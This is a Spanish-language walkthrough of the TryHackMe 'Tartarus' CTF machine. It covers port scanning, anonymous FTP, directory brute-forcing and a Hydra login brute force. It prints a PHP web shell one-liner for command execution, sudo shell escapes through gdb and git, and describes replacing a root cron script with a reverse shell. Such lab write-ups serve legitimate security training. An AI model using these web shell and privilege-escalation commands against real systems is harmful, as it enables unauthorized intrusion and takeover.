Tartarus es una maquina de TryHackMe, realizamos ataque de fuerza bruta con Hydra y un wordlist con credenciales encontradas, con ello subimos una webshell y ejecutamos una shell inversa. Tras ejecutar una shell con GDB cambiamos a un segundo usuario. Ejecutamos Git junto con Sudo para acceder a otro usuario. Finalmente modificamos un script utilizado por un CronJob para obtener acfeso privilegiado.
Room
Titulo |
Tartarus |
Descripción |
This is an beginner box based on simple enumeration of services and basic privilege escalation techniques. |
Puntos |
* |
Dificultad |
Facil |
Maker |
csenox |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (22) y el puerto http (80) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
|
# Nmap 7.80 scan initiated Wed Aug 12 00:19:21 2020 as: nmap -sV -o mini_scan tartarus.thm
Nmap scan report for tartarus.thm (10.10.50.182)
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 12 00:19:54 2020 -- 1 IP address (1 host up) scanned in 32.65 seconds
|
FTP
Ingresamos por el servicio FTP con las credenciales de anonymous (anonymous:anonymous), en donde encontramos dos archivos de texto el primero es posible verlo a simple vista, el segundo tenia un pequeño truco y es que las carpetas estaban con el nombre ...
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
root@upset:~/thm/tartarus# ftp tartarus.thm
Connected to tartarus.thm.
220 (vsFTPd 3.0.3)
Name (tartarus.thm:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 .
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ..
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ...
-rw-r--r-- 1 ftp ftp 17 Jul 05 21:45 test.txt
226 Directory send OK.
ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (17 bytes).
226 Transfer complete.
17 bytes received in 0.00 secs (197.6376 kB/s)
ftp> cd ...
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
l150 Here comes the directory listing.
s 226 Directory send OK.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 .
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ..
drwxr-xr-x 2 ftp ftp 4096 Jul 05 21:31 ...
226 Directory send OK.
ftp> cd ...
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jul 05 21:31 .
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ..
-rw-r--r-- 1 ftp ftp 14 Jul 05 21:45 yougotgoodeyes.txt
226 Directory send OK.
ftp> get yougotgoodeyes.txt
local: yougotgoodeyes.txt remote: yougotgoodeyes.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for yougotgoodeyes.txt (14 bytes).
226 Transfer complete.
14 bytes received in 0.00 secs (26.3936 kB/s)
ftp> pwd
257 "/.../..." is the current directory
ftp> bye
221 Goodbye.
root@upset:~/thm/tartarus# cat test.txt
vsftpd test file
root@upset:~/thm/tartarus# cat yougotgoodeyes.txt
/[... REDACTED ...]
root@upset:~/thm/tartarus#
|
HTTP
Encontramos una pagina web de apache en el puerto 80.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
|
root@upset:~/thm/tartarus# gobuster dir -u http://tartarus.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/index.html (Status: 200)
/index.html (Status: 200)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
|
En robots.txt
encontramos una direccion/pagina y un mensaje.
En la direccion que encontramos vemos dos archivos, en el primer archivo encontramos un wordlist de contraseñas en el segundo una lista de usuarios.
En el directorio que encontramos en el archivo de texto en FTP logramos ver un panel de logeo.
HYDRA
Utilizamos hydra para hacer un ataque de fuerza bruta al panel de logeo con los wordlists que encontramos. Vemos 16 posibles contraseñas para el usuario enox
.
Estas 16 posibles se muestran porque logramos encontrar el usuario pero no la contraseña, la sintaxis que utilizamos era para Incorrect username!
y no para Incorrect password!
. Volvemos a utilizar Hydra o probar la ultima contraseña.
Ingresamos con las credenciales vemos que podemos subir archivos.
Al subir una imagen solo nos muestra el mensaje que se ha subido mas no la direccion donde esta se encuentra.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos, esta vez en el directorio nuevo.
1
2
3
4
5
|
root@upset:~/thm/tartarus# gobuster dir -u http://tartarus.thm/sUp3r-s3cr3t/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/home.php (Status: 302)
/images (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
|
USER - WWW-DATA
Encontramos la direccion /images
donde se encuentra otra carpeta y tambien nuestra imagen.
Agregamos una shell a un archivo php y lo subimos, ejecutamos comandos.
1
|
<?php echo "<pre>"; system($_GET['cmd']); ?>
|
Ejecutamos una shell inversa y logramos obtener una shell con el usuario www-data
.
En el directorio de d4rckh
encontramos nuestra flag user.txt
.
USER - THIRTYTWO
Hacemos una pequeña enumeracion con sudo -l -l
y vemos que tenemos permisos con sudo pero con el usuario thirtytwo para ejecutar el comando /var/www/gdb
, utilizamos gdb.
Ejecutamos el comando y logramos obtener una shell con este usario.
1
|
sudo -u thirtytwo /var/www/gdb -nx -ex '!sh' -ex quit
|
USER - d4rckh
Hacemos una pequeña enumeracion con sudo -l -l
y vemos que tenemos permisos con sudo pero con el usuario d4rckh para ejecutar el comando git
.
Además en la carpeta principal de thirtytwo encontramos una nota donde habla de git.
Utilizamos git. Ejecutamos el comando y logramos obtener una shell con el usuario d4rckh.
1
2
|
sudo -u d4rckh /usr/bin/git -p help config
#!/bin/sh
|
PRIVILEGE ESCALATION
En la carpeta principal de d4rckh encontramos un script de python que elimina todo lo que esté en /home/cleanup/
. Además este mismo script es ejecutado por el usuario root en un cron.
1
2
3
4
5
6
7
8
9
|
#cleanup.py
# -*- coding: utf-8 -*-
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /home/cleanup/* ')
except:
sys.exit()
|
El script tiene permisos 777 por lo que cualquiera puede leer, escribir y ejecutar. Renombramos el archivo existente y creamos uno nuevo con una shell inversa (python).
Logramos obtener una shell con usuario root y nuestra flag root.txt
.